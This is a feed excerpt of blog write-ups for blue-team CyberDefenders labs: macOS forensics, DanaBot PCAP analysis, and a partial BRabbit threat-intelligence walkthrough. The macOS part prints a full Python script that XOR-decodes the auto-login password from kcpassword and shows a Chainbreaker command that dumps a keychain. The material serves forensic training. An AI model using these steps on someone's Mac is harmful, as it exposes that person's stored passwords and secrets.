begin!</p><h3>The Questions</h3><blockquote>1: While examining the system logs, you notice a feature that might allow us to receive the suspect MacBook Password that can help us decrypt the note later. What is the name of this feature?</blockquote><p>This is honestly a knowledge question more than anything. I was unable to find this in the logs directly, but I was able to find signs of this feature on the file system. We will investigate these steps in the next question, so for now, I’m going to leave you with a knowledge article to answer this question: <a href="https://iboysoft.com/wiki/automatic-login-on-mac.html">https://iboysoft.com/wiki/automatic-login-on-mac.html</a></p><p>Try to figure out what the answer is based on the above — you can do it!</p><blockquote>2: Based on the evidence, what is the exact timestamp when the suspect enabled this feature for his account?</blockquote><p>To answer this, you need another piece of knowledge: what happens on the file system when the feature found in Question 1 is enabled?</p><p>Well, it would do the following on a Mac filesystem:</p><ol><li><strong>kcpassword</strong>: This file stores the encrypted password for the user account that is set to log in automatically. It is located in the /etc directory.</li><li><strong>loginwindow.plist</strong>: This file is modified to include the auto-login settings. It is located in the /Library/Preferences directory and contains information about the user account that should be logged in automatically.</li></ol><p>To answer this question, we need to look for the modification date of the loginwindow.pslist file, since that’s when the feature is actually enabled. The kcpassword file, I believe, is amended when the password is first <strong>used</strong>.</p><p>To find this, let’s navigate to the directory we need, which is /CopiedFiles/a1l4m/Library/Preferences (within the LiveResponseData folder). Then, let’s use one of our tools here:</p><pre>exiftool com.apple.loginwindow.plist</pre><ul><li><strong>exiftool </strong>is a command line utility that allows you to read and write metadata into the file. In this case, we want to look for the loginwindow.plist file, which is named as “<strong>com.apple.loginwindow.plist”</strong> in the filesystem. This results in the following:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*YuRKpqAPLSs2KRvsrnBY4A.png" /></figure><p>The “File Modification Date/Time” gives you the time when the feature is enabled. This is the correct answer to Question 2.</p><blockquote>3: The password appears to be stored in a specific file on the MacBook. What is the full path to this file?</blockquote><p>You already found this — read closely on the explanation I gave for Question 2 about the location of the password file. You can even find it in your filesystem if you navigate to it!</p><blockquote>4: The password found in the file is encrypted. During your analysis, you uncover the <strong>XOR </strong>key used to encrypt it. What is that key in <strong>Hex decima</strong>l?</blockquote><p>If you’re trying to locate the key on the filesystem, good luck — you cannot find it. At least, I couldn’t.</p><p>But did you know that MacOS always uses the same default XOR key for encryption? I was surprised to read this.</p><p>To answer this question, be sure to study the following article and look for the “Magic Bytes”:<br><a href="https://www.offsec.com/blog/in-the-hunt-for-the-macos-autologin-setup-process/?utm_source=chatgpt.com">In the Hunt for the macOS AutoLogin Setup Process</a></p><p>I think that will guide you to the answer.</p><blockquote>5: The suspect seems to have used a secure database to store sensitive information, including notes. What is the name of this database file?</blockquote><p>For this, we have to look into the Keychains folder (which contains these secure databases). This is found in CopiedFiles/a1l4m/Library/Keychains/ and contains the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*saPo5VV45CRI9EZRme_IZQ.png" /></figure><p>You can guess by now that the renamed versions are not the correct one, but the original one is. That database is the answer you need.</p><blockquote>6: After decrypting the database, you find a message that appears to be significant. What is the content of this note?</blockquote><p>This question is definitely the most fun out of the lab. We now have an encrypted password in a file, and we must:</p><ol><li>Extract the encrypted password</li><li>Find a way to decrypt the password and actually decrypt it</li><li>Open the database with the decrypted password.</li></ol><p>Let’s follow them step-by-step:</p><ul><li><strong>Extract the encrypted password:</strong></li></ul><p>To do this, navigate to the file you found in Question 3, and run the following command in your terminal:</p><pre>xxd -p kcpassword</pre><ul><li><strong>xxd </strong>creates a hex dump of a given file or standard input. The file specified is <strong>kcpassword</strong></li><li><strong>-p</strong> prints the hexadecimal output of the terminal.</li></ul><p>This shows the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/408/1*V35KNlvKsfsYLKsyuveJrA.png" /></figure><p>Then, you need the XOR key, which you found earlier in Question 5.</p><ul><li><strong>Find a way to decrypt the password and actually decrypt it.</strong></li></ul><p>Now, you need to find a way to decrypt the hexadecimal output you got with the XOR key you found. The most practical way is to create a Python script that does this for you (since we have Python installed). Unfortunately, I have <strong>zero</strong> knowledge of writing Python. Fortunately, others do, and the internet is a rich resource of all sorts of scripts that do this for you.</p><p>I used the following script: <a href="https://github.com/Heisenberk/decode-kcpassword/blob/master/decode-kcpassword.py">https://github.com/Heisenberk/decode-kcpassword/blob/master/decode-kcpassword.py</a></p><p>In case it ever gets removed or adjusted, I’ll also write the full script code in here:</p><pre>#!/usr/bin/python3<br><br>import struct<br>import sys<br><br># Function to decrypt the kcpassword<br>def decrypt_kcpassword():<br>    key = [125, 137, 82, 35, 210, 188, 221, 234, 163, 185, 31]<br>    length = len(key)<br>    f = open(sys.argv[1], &quot;rb&quot;)<br>    byte = list(f.read())<br>    f.close()<br>    <br>    end = False<br>    kcpassword = []<br>    for i in range(len(byte)):<br>        if byte[i]^key[i%length] == 0 :<br>            end = True<br><br>        if end == False :<br>            kcpassword.append(str(chr(byte[i]^key[i%length])))<br>            <br>    print(&#39;&#39;.join(map(str,kcpassword)))<br><br># Function main<br>def main():<br>    if len(sys.argv) &lt; 2 :<br>        print(&#39;usage : ./decode-kcpassword.py KCPASSWORD_PATH&#39;)<br>        exit()<br>    decrypt_kcpassword()<br><br># Call to main<br>if __name__ == &#39;__main__&#39;:<br>    main()</pre><p>If you have some knowledge of <strong>reading</strong> scripts (which I do), you will notice that the encryption key is already listed in here. This does not need adjusting, as it’s the default key. It also reads the file output directly from the kcpassword file, meaning you technically didn’t need to do step 1 here. However, I am including it to share the method I used.</p><p>So, let’s make that script. It doesn’t really matter where we do it, but I decided to place the script in the same directory as the kcpassword file. So, let’s nagivate there first, then run the following command:</p><pre>touch decode-kcpassword.py</pre><ul><li><strong>touch</strong> creates a file on the filesystem, which is called “decode-kcpassword.py”, the name of the script as given by the link earlier.</li></ul><p>Then, let’s edit it:</p><pre>vi decode-kcpassword.py</pre><ul><li><strong>vi </strong>is the text editor I use for editing. Feel free to edit it differently as you please.</li></ul><p>Copypaste the contents of the script block to the file (Copy, right click in file -&gt; Paste -&gt; ok):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*8NWNmzrMUb3wsWyGRnjb8Q.png" /></figure><p>Then, save the file by typing the following commands in the file:</p><pre>:wq!</pre><p>This sequence writes the data to the file (saving it), then quits the file without asking for confirmation. This is essentially a “Save and Quit” function.</p><p>Then, we run the script as follows:</p><pre>python3 decode-kcpassword.py kcpassword</pre><ul><li><strong>python3</strong> allows us to run a python script, which is <strong>decode-kcpassword.py</strong>. The file we’re analyzing is the <strong>kcpassword</strong> file (since we are in the directory where the file is stored, no exact path has to be given)</li></ul><p>This gives us the password:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*UJNetYozBuS2IJtzuSkZZg.png" /></figure><ul><li><strong>Open the database with the decrypted password.</strong></li></ul><p>To actually open the file, we need to use Chainbreaker, which is designed to open Keychain files. To do this, navigate to the directory where the file you found in Question 5 is located, and run the following command:</p><pre>python3 -m chainbreaker login.keychain-db --password a1l894m --dump-all</pre><ul><li><strong>python3 -m</strong> indicates a Python <strong>Module</strong> is loaded, which is <strong>Chainbreaker</strong></li><li><strong>login.keychain-db</strong> is the Keychain file we’re attempting to open</li><li><strong>--password</strong> indicates we use a password to open the file, which is the password we found earlier. A better method is to use “--password-prompt” instead, as it doesn’t log the password to the command history, but for the purpose of this exercise this will do</li><li><strong>--dump-all</strong> prints the output of the entire Keychain to the terminal</li></ul><p>This results in the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4_BUnhf1Zxa3Q6Lc3DGJig.png" /></figure><p>That’s a lot of information. Let’s scroll up until we find the Secure Note:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zSP8qYBqJh57J1ewsj-hSA.png" /></figure><p>The answer to the question lies in the string as written here, starting with 0xL4ugh. Submit that to clear the question.</p><p>As a bonus, I took the RTFD key and decrypted the contents of the note via Cyberchef (with Base64 Decode and Remove NULL bytes:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*VawgCi6P3O2jwVdbP5o1Kg.png" /></figure><p>It seems this is the formatting of the note that’s written out.</p><blockquote>7: Your timeline analysis reveals the exact timestamp when this note was created. When was it written?</blockquote><p>For this, simply look at the Create DateTime metadata field as found in the keychain. It’s already on your screen if you cleared Question 6.</p><h3>Review and Conclusion</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1011/1*yYyQnjT4KjcuIWiPpdbVSw.png" /></figure><p>Honestly, I had a ton of fun trying to decrypt the database, even though I will admit that I needed a small hint from a fellow CCD-member or two to get me to that process. I simply never had any experience with XOR-ing nor database decryption, especially not on a Macbook. Perhaps I will need it one day in the future, who knows!</p><p>I hope this write-up was helpful to you. If it was, I hope you’re willing to give it a thumbs up. If you’re doing this lab and find a better method of solving than I did, please do not hesitate and reach out to me on Discord (@itsgir). I will include your work in the write-up with credit.</p><p>Until the next one. Stay safe!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b0fef014e96f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CTF Write-up: DanaBot(Certified Cyber Defenders)]]></title>
            <link>https://medium.com/@itsGir/ctf-write-up-danabot-certified-cyber-defenders-51037164e3ce?source=rss-26be3714c254------2</link>
            <guid isPermaLink="false">https://medium.com/p/51037164e3ce</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cyberdefender]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <dc:creator><![CDATA[itsGir]]></dc:creator>
            <pubDate>Mon, 26 May 2025 19:21:30 GMT</pubDate>
            <atom:updated>2025-05-26T19:21:30.467Z</atom:updated>
            <content:encoded><![CDATA[<h3>CTF Write-up: DanaBot (Certified Cyber Defenders)</h3><p><a href="https://cyberdefenders.org/blueteam-ctf-challenges/danabot/">CyberDefenders: Blue team CTF Challenges | DanaBot</a></p><p>Welcome to my write-up on DanaBot.</p><p>This lab is still active as of the moment of this writing (October 15th). By the time you see this write-up, it has been retired — Don’t worry, I know the rules.</p><p>In this write-up, I will cover <a href="https://medium.com/u/4c9727d9f2ad">CyberDefenders</a>’ DanaBot Lab:</p><h3>Scenario Introduction</h3><p>This scenario is called DanaBot. It’s a <strong>Easy</strong> difficulty <strong>Network Forensics</strong> lab which covers the following Tactics: <em>Execution, Command and Control</em></p><p>You can find the lab here: <a href="https://cyberdefenders.org/blueteam-ctf-challenges/danabot/">CyberDefenders: Blue team CTF Challenges | DanaBot</a></p><blockquote><strong>Note: </strong>You do NOT need a PRO-license for this lab. Just sign-up for CyberDefenders and start cracking at it!</blockquote><p>The following information is given to us:<br><em>Our SOC team detected suspicious activity in the network traffic. A machine has been compromised, and company information that should not have been there has now been stolen. It’s up to you to determine what happened and what data was taken.</em></p><p><em>Tools:</em></p><ul><li><a href="https://www.wireshark.org/download.html"><em>Wireshark</em></a></li></ul><p>Before we begin any of this, let’s take a look at DanaBot first. According to <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.danabot">Malpedia</a>, DanaBot is the latest example of malware focused on persistence and stealing useful information that can later be monetized rather than demanding an immediate ransom from victims. The social engineering in the low-volume DanaBot campaigns we have observed so far has been well-crafted, again pointing to a renewed focus on “quality over quantity” in email-based threats. DanaBot’s modular nature enables it to download additional components, increasing the flexibility and robust stealing and remote monitoring capabilities of this banker.</p><p>I’d argue that it’s not the “latest” anymore, since first instances of DanaBot activity have been seen as early as <a href="https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/danabot-banking-trojan-found-targeting-european-countries">2018</a>, but it’s clear that DanaBot is a so-called “Banking Trojan” (or a Banker), which is designed for stealing credentials and other sensitive information. This can then be used to steal money and perform fraud with the obtained information.</p><p>Overall, a serious threat which we have to investigate.</p><p>This is the first lab I have done which does not contain an in-browser VM or a VM you connect to — it’s quite simply a file download. When you download the file, you are presented with one PCAP file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*-907WiO_j5Eizy-PMkd-oA.png" /><figcaption>That’s Dutch, in case you wondered. :)</figcaption></figure><p>Normally, when you download files, you are (rightfully) warned to download them in isolated environments. For a PCAP, I feel it’s safe to download to my own file system — it’s a network trace which we’re investigating, not an active malware sample. Should you download actual executables or such, ALWAYS do this in an isolated environment to prevent your PC going haywire!</p><p>Opening the PCAP shows the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MQP9LXboAUONS1RfEnyk-Q.png" /><figcaption>The artifact we’re investigating</figcaption></figure><p>It’s about ~14.000 lines total. That said, let’s begin investigating!</p><h3>The Questions</h3><blockquote>1: What is the malicious file name used for initial access?</blockquote><p>The question reveals that a malicious file was inserted for initial access. When investigating the PCAP, we can look for one of two possible scenarios:</p><ol><li>The attacker inserted the malicious file via a vulnerability, and we should be able to find a POST request indicating this</li><li>The malicious file has already been inserted, and someone accessed the page containing the malicious file. In that case, a GET request should indicate this.</li></ol><p>I began by checking scenario 1, which I checked via the following Wireshark filter:</p><pre>http.request.method == POST</pre><p>The result?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aS0rAsHfp4CxQfXTAx8bkQ.png" /><figcaption>Nothing</figcaption></figure><p>So, it seems the attacker did not insert it within the contents of the PCAP file, which leaves scenario 2. Changing the filter to a GET method instead of a POST request gives the following:</p><pre>http.request.method == GET</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VmWSwLZZlKWEHZ3JkA-Tyg.png" /><figcaption>What on earth is that second request?</figcaption></figure><p>While it is very tempting to check the second request due to the oddity, it’s more logical to check the first. Remember that for scenario 2, a user must have accessed the vulnerable page. And out of those two, which one is most likely to have been accessed by a user?</p><p>So I decided to follow the HTTP Stream for the first request:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xoaQY_zk0vBEuTMQ1BCrYA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8gJugQhX3U3xn75g3jymjA.png" /><figcaption>What an unusual response body…</figcaption></figure><p>In the HTTP response, you see a header called “Content-disposition” which contains a filename. This filename is the correct answer to Question 1</p><blockquote>2: What is the SHA256 hash of the mentioned file?</blockquote><p>Normally, you cannot extract the file itself out of Wireshark. But there is a relatively simple way to still get the hash.</p><p>How? Well, like I said earlier, the response body is unusual. Do you know why? It’s because the response body is the suspicious file. Normal response bodies do not look like that at all.</p><p>So, how do we get the hash? Quite simple. You can do 1 of 2 things:</p><p>If you have access to an isolated environment, then you can export the HTTP object related to the file in question. This will create a file on your filesystem with the contents of the malicious file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/436/1*HRSCeZBbGLYEsEIwvfFrkA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*tAvNom8V9cu44Q1PqSguiA.png" /><figcaption>Select the one you want to extract, then click “Save”.</figcaption></figure><p>It’s important that you do this in an isolated environment. CyberDefenders also warns you for this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/801/1*JX7c-AP_aAH2Z68I2rIwiQ.png" /></figure><p>Then, by using Powershell, you can extract the SHA256 hash from it via the following PS-command in the same directory as where the file is located:</p><pre>Get-filehash ./test.xx</pre><p><strong>Get-Filehash</strong> in Powershell extracts the SHA256 of a given file. This will give you the answer to Question 2.</p><p>Alternatively, if you don’t have access to such an environment, you don’t store the file (remember it’s malicious!) and use an online tool to calculate the hash. I chose <a href="https://www.tools4noobs.com/online_tools/hash/">Tools4Noobs</a>’ calculator, where I pasted the contents of the file (which you can find in the HTTP response body) and picked SHA256 as my hash:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7TLpwvkt1-nFeo2zHPYQug.png" /></figure><blockquote>3: What is the process used to execute the malicious file?</blockquote><p>This requires knowledge of what the file exactly does, and the only way to discover this, is by getting your hands on the file… or is it?</p><p>What I’ve written is definitely an option — take the file you exported via Wireshark, throw it into a sandbox of your choice and analyze the file to your heart’s content. But there’s a much simpler and faster way.</p><p>If you were able to complete question 2, you have the filehash. Why not pay our good friend <a href="https://www.virustotal.com/gui/home/upload">VirusTotal </a>a visit with that hash? Surely there must be SOME information on the whole internet about this file? So I went there and submitted the SHA256 hash for further analysis:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PG110XQgIFuUqaBUhO2EtA.png" /><figcaption>Yep, that file is definitely suspicious…</figcaption></figure><p>For information on processes, I went to the “behavior” tab, which shows a detailed analysis of what the file actually does. If you scroll down on that tab, you will run into a part called “Process and service actions”, which contains the following for this file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/1*tN6UQRMJ__umf7l5ictJiA.png" /></figure><p>It’s clear to me that the file I’ve omitted from the write-up is the malicious process in question — the correct answer to Question 3. The services process is started by the file, but does not seem to do anything malicious. The other one invokes a Javascript file, which is suspicious enough to be considered malicious.</p><blockquote>4: What is the extension of the second malicious file used by the attacker?</blockquote><p>Back to the PCAP we go. We follow a similar approach as Question 1 for this one. We know there are no POST requests, so we go back to the GET requests for further analysis:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VmWSwLZZlKWEHZ3JkA-Tyg.png" /></figure><p>Let’s take a look at that strange, second request (despite it not actually having an extension, it’s still interesting to see what it is). When we open it, we see the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1Lf_z31TF5YXLrYx0VvhVg.png" /></figure><p>It’s the Microsoft CryptoAPI, via ocsp.digicert.com. Combining these factors, it seems this is a Certificate Valididation check, and thus not malicious. Knowing that, we go to the third request:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5_5RqQi49dTUg9Fkk9X-OA.png" /></figure><p>That is a HUGE response body. If you look into the PCAP, you’ll see several thousands of lines all part of the same HTTP stream. That’s unusual enough to me. I submitted the extension of this file, and it was indeed the correct extension (and thus, the correct file, as it’s the only one with that extension)</p><blockquote>5: What is the MD5 hash of the second malicious file?</blockquote><p>For this, you follow the exact same method as in Question 2, with two changes:</p><ol><li>You extract the MD5 hash instead of the SHA256. If you use Powershell, you add the “--Algorithm MD5” to the command I’ve given earlier</li><li>You might have some trouble copying the contents of the response body this time, due to the sheer volume. If this doesn’t work, you might have to go with the method of storing the file locally. Do this in a secure environment though — your Antivirus will NOT like this file!</li></ol><p>This should allow you to get the answer to Question 5</p><blockquote>6: What is the IP address used by the attacker in initial access?</blockquote><p>We follow a similar approach to Question 3 — take the hash you found in Question 5 and submit it to VirusTotal:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_n9ejhvIvsQ6MoyARZ2vAw.png" /><figcaption>Yep, that’s really bad too. Also, DanaBot, the lab’s name!</figcaption></figure><p>Then, we once again go to Behavior. This time, we don’t check the Processes and Service Creations, we check the Network Communication tab for more information:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/309/1*v4os5oNPkt0fn1pCZaA0jw.png" /></figure><p>One of these 4 IP-addresses doesn’t show up in the PCAP — the other three do. In order to answer the question, since it mentions Initial Access, I looked for the IP-address that showed up <strong>first</strong> in the PCAP. To check, I used the following Wireshark filter (replace xxx with the IP-address in question):</p><pre>ip.src == xxx.xxx.xxx.xxx || ip.dst == xxx.xxx.xxx.xxx</pre><p>The IP-address that shows up first is the correct answer to Question 6</p><blockquote>7: What is the last malicious IP address in the PCAP that is known to be used as CnC by DanaBot?</blockquote><p>If you were able to do Question 6, this one is simple. You follow the exact same approach as Q6, but this time, you check for the IP-address that shows up <strong>last</strong> in the PCAP, not first. If you were able to find Question 6, you should have no issues finding Q7</p><h3>Review and Conclusion</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ACtV7SBtWxUL7Lh9eT8Gow.png" /></figure><p>From what I was able to find, it seems the website was already infected by the attacker. Interacting with it simply allowed the Trojan to spread towards other devices. Someone didn’t do their hardening / patching properly it seems…</p><p>Overall, I found this to be one of the easiest labs to do — if you have basic Wireshark knowledge and know VirusTotal exists, it should not be difficult for you to find the answers to these questions. It’s a good exercise in finding IoCs and analyzing them with Threat Intelligence though!</p><p>I hope this write-up was helpful to you. If it was, I hope you’re willing to give it a thumbs up. If you’re doing this lab and find a better method of solving than I did, please do not hesistate and reach out to me on Discord (@itsgir). I will include your work in the write-up with credit.</p><p>Until the next one. Stay safe!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=51037164e3ce" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CTF Write-up: BRabbit (Certified Cyber Defenders)]]></title>
            <link>https://medium.com/@itsGir/ctf-write-up-brabbit-certified-cyber-defenders-0be7f2bb3dc6?source=rss-26be3714c254------2</link>
            <guid isPermaLink="false">https://medium.com/p/0be7f2bb3dc6</guid>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cyberdefender]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[itsGir]]></dc:creator>
            <pubDate>Mon, 19 May 2025 13:43:13 GMT</pubDate>
            <atom:updated>2025-05-19T13:43:13.349Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://cyberdefenders.org/blueteam-ctf-challenges/brabbit/">Blue team CTF Challenges | BRabbit — CyberDefenders</a></p><p>Welcome to my write-up on BRabbit.</p><p>This lab is listed as a Threat Intelligence exercise, but also contains the malware sample that you could open in a Sandbox (making it a partial Malware Analysis exercise too). Most of the questions are related to TI though, which means another “browse the internet” exercise ;-)</p><p>In this write-up, I will cover <a href="https://medium.com/u/4c9727d9f2ad">CyberDefenders</a>’ BRabbit Lab:</p><h3>Scenario Introduction</h3><p>This scenario is called <strong>BRabbit</strong>. It’s a <strong>Medium </strong>difficulty <strong>Threat Intelligence </strong>lab which covers the following Tactics: <em>Execution, Persistence, Privilege Escalation, Command and Control and Impact. </em>In addition, the tools<em> “malpedia, VirusTotal, ANY.RUN, mail Header Analyzer and MalwareURL”</em> are listed.</p><p>You can find the lab here: <a href="https://cyberdefenders.org/blueteam-ctf-challenges/brabbit/">Blue team CTF Challenges | BRabbit — CyberDefenders</a></p><blockquote><strong>Note: </strong>You do NOT need a PRO-license for this lab. Just sign-up for CyberDefenders and start cracking at it!</blockquote><p>The following information is given to us:<br><em>You are an investigator assigned to assist Drumbo, a company that recently fell victim to a ransomware attack. The attack began when an employee received an email that appeared to be from the boss. It featured the company’s logo and a familiar email address. Believing the email was legitimate, the employee opened the attachment, which compromised the system and deployed ransomware, encrypting sensitive files. Your task is to investigate and analyze the artifacts to uncover information about the attacker.</em></p><p>This lab is a file download, meaning you can download the malware sample yourself to analyze it. Important note here is that an actual warning file is attached, along with the malware in question:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/833/1*bMT9b8ZdrWxwXie19saS7w.png" /></figure><p>If the note itself isn’t enough, let me tell you then: <strong>DO NOT RUN THE FILE.</strong> If you really want to execute it, do it in a safe environment where no actual damage can be dealt. One of the listed tools (any.run) is a great example of this.</p><h3>The Questions</h3><blockquote>1: The phishing email used to deliver the malicious attachment showed several indicators of a potential social engineering attempt. Recognizing these indicators can help identify similar threats in the future.<br>What was suspicious about the email that delivered the attachment?</blockquote><p>The question, in its current wording, does not ask the thing you actually need to submit. The answer that is considered correct is in fact part of the suspicious traits this e-mail has, but it’s far from the only one. Let’s open the e-mail in question and take a look:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2KE_Ez1L_c90K-I9B_izOA.png" /></figure><p><em>Yes, I am aware that using a tool like Email Header Analyzer is safer, and should be the preferred method normally. I’m opening the e-mail to show you that there are more suspicious signs to be found than just the correct answer :)</em></p><p>Let’s do a little phishing 101. What is suspicious about this e-mail?</p><ul><li>The subject: <strong>Immediate action required</strong>. This is usually the first sign of suspicion. Phishing commonly tries to trick the user into doing actions directly (or a.s.a.p.)</li><li>The sender e-mail address: If you look closely, the e-mail domain is <strong>Drurnbo</strong>.com, not Drumbo. The combination of rn may seem like a m to the not so alert eye.</li><li>The body of the e-mail: It once again requests <strong>immediate action</strong>, it warns of consequences if the user doesn’t (delays or disruptions), and is very commonly signed (CEO). I would expect the actual CEO to at least mention their name there. At least they bothered to write the actual receiver’s name at the start instead of “Dear Employee” or something similar…</li><li>The attachment: The file seems like a PDF, but is in fact an executable, as listed by the final extension (which is .exe)</li></ul><p>So, if you go back to the original question, all four answers could be correctly. Thankfully, by the way the answer is formatted, you can tell which of these four is actually requested here. Had it been an open question, I can assure you many people probably would not have gotten this first-try.</p><blockquote>2: The ransomware was identified as part of a known malware family. Determining its family name can provide critical insights into its behavior and remediation strategies. What is the family name of the ransomware identified during the investigation?</blockquote><p>For malware families, you commonly go to Open-Source INTelligence tools (OSINT), such as malpedia and VirusTotal (both listed in the lab as tools). I chose VirusTotal myself. To begin, let’s extract the filehash of the malware first via Powershell by running the following command in the terminal in the folder where the malware is located (extract it first):</p><pre>Get-FileHash &#39;.\Urgent Contract Action.pdf.exe&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4ZHwGGeUrOA9PtPGAFpfRA.png" /></figure><p>Then take that hash towards <a href="https://www.virustotal.com/gui/">VirusTotal</a>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8WFBn4gXvaKQq6PECv7n6A.png" /></figure><p>By examining the Family Labels, you will quickly recognize the correct answer here. It’s almost as if you know what the B in BRabbit stands for now ;-)</p><blockquote>3: Upon execution, the ransomware dropped a file onto the compromised system to initiate its payload. Identifying this file is essential for understanding its infection process. What is the name of the first file dropped by the ransomware?</blockquote><p>There are two ways to find this.</p><p>The first method is to go to <a href="https://any.run/">any.run</a>, upload the executable file in the Sandbox and watch it do its thing. By examining the Process Tree, you will quickly spot a file that’s being dropped:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*PDUNweCrEWygEj8HV2-kbw.png" /></figure><p>The second method is to use OSINT. You can either google the Malware name and take any blog that has technical information on it, or use the Community tab in VirusTotal and find an article here. One example of a relevant article is this one: <a href="https://securelist.com/bad-rabbit-ransomware/82851/">Bad Rabbit ransomware | Securelist</a></p><p>By examining the technical summary, it will tell you what file is being dropped first:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*RcWFDoRb7vY-qNUgH8qw9A.png" /></figure><blockquote>4: Inside the dropped file, the malware contained hardcoded artifacts, including usernames and passwords that could provide clues about its origins or configuration. What is the only person’s username found within the dropped file?</blockquote><p>Have you ever had an “ah-ha!” moment after awhile? Where you initially didn’t find it, and later did. Or in this case, didn’t understand why you found something, and later did?</p><p>I did, when I wrote up this lab for this question. I initally guessed this answer, and now (think to) understand why it’s the correct answer.</p><p>To begin, we have to find the list of hardcoded usernames and passwords first. Luckily, the article I’ve provided earlier contains this list:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/683/1*W3tVclv5BvZl8jrKNJJaMA.png" /></figure><p>So, the question is… which username is the one the lab is asking for?</p><p>To answer this, you have to very cautiously re-read this question.</p><p><em>What is the only person’s username found within the dropped file?</em></p><p>Keyword: <strong>person.</strong></p><p>Take a look at the list and see if you can find the person in question. :)</p><blockquote>5: After execution, the ransomware communicated with a C2 server. Recognizing its communication techniques can assist in mitigation.<br>What MITRE ATT&amp;CK sub-technique describes the ransomware’s use of web protocols for sending and receiving data?</blockquote><p>This is yet another Google exercise (or yet another “Know your MITRE entries” exercise).</p><p>Since the question refers to the use of Web Protocols, it makes sense that the Web Protocols sub-technique is correct here:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A7_KiSElEKj0F4Yj6zBUIw.png" /></figure><p>Find the MITRE ID and submit it.</p><p><em>6: During its execution, the ransomware communicated with an external US-based server. Servers are often categorized based on their function, which helps in analyzing their role in malicious operations. Understanding the category of this server is essential to determine its purpose in the ransomware’s activity. What is the category of this server?</em></p><p>Out of all the questions this lab has that I feel could use improvement, this is by far the biggest offender. The reason why is because the answer for this question is only found on one very specific website, which is MalwareURL.</p><p>To begin, we need to find the IP-address the server communicates with. How do we find this?</p><p>Well, we have to begin by finding the filehash of the file we found in Question 3. Luckily, that one isn’t too hard.</p><p>Many Blogs provide you with filehashes of malicious files, and the following blog is an example of this:</p><p><a href="https://blog.qualys.com/vulnerabilities-threat-research/2017/10/24/bad-rabbit-ransomware">Bad Rabbit — Ransomware | Qualys Security Blog</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/894/1*U8jmsJzq-H37hrkUhzc0UQ.png" /></figure><p>We take that hash to VirusTotal:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YJT2zp1L1njLR2E8N4FE4A.png" /></figure><p>Then, we navigate to the Behavior tab to locate the IP-addresses:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/370/1*hcOjaincdjJd2uyk6LVEWQ.png" /></figure><p>I decided to check these one by one and found out the 204.79.197.203 entry is listed in MalwareURL:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/863/1*wDaPKbUNQuV6q-6BoyLsUg.png" /></figure><p>The Security Category is the correct answer here. Again, by far my least favorite question of this lab.</p><blockquote>7: Persistence mechanisms are a hallmark of sophisticated ransomware. Identifying how persistence was achieved can aid in recovery and prevention of reinfection. What is the MITRE ATT&amp;CK Sub-Technique ID associated with the ransomware’s persistence technique?</blockquote><p>I believe this question would’ve been better if it was swapped around with Question 8. So, let’s answer both this question and question 8 together.</p><p>To find out the persistence techniques used, let’s investigate what the Malware does. 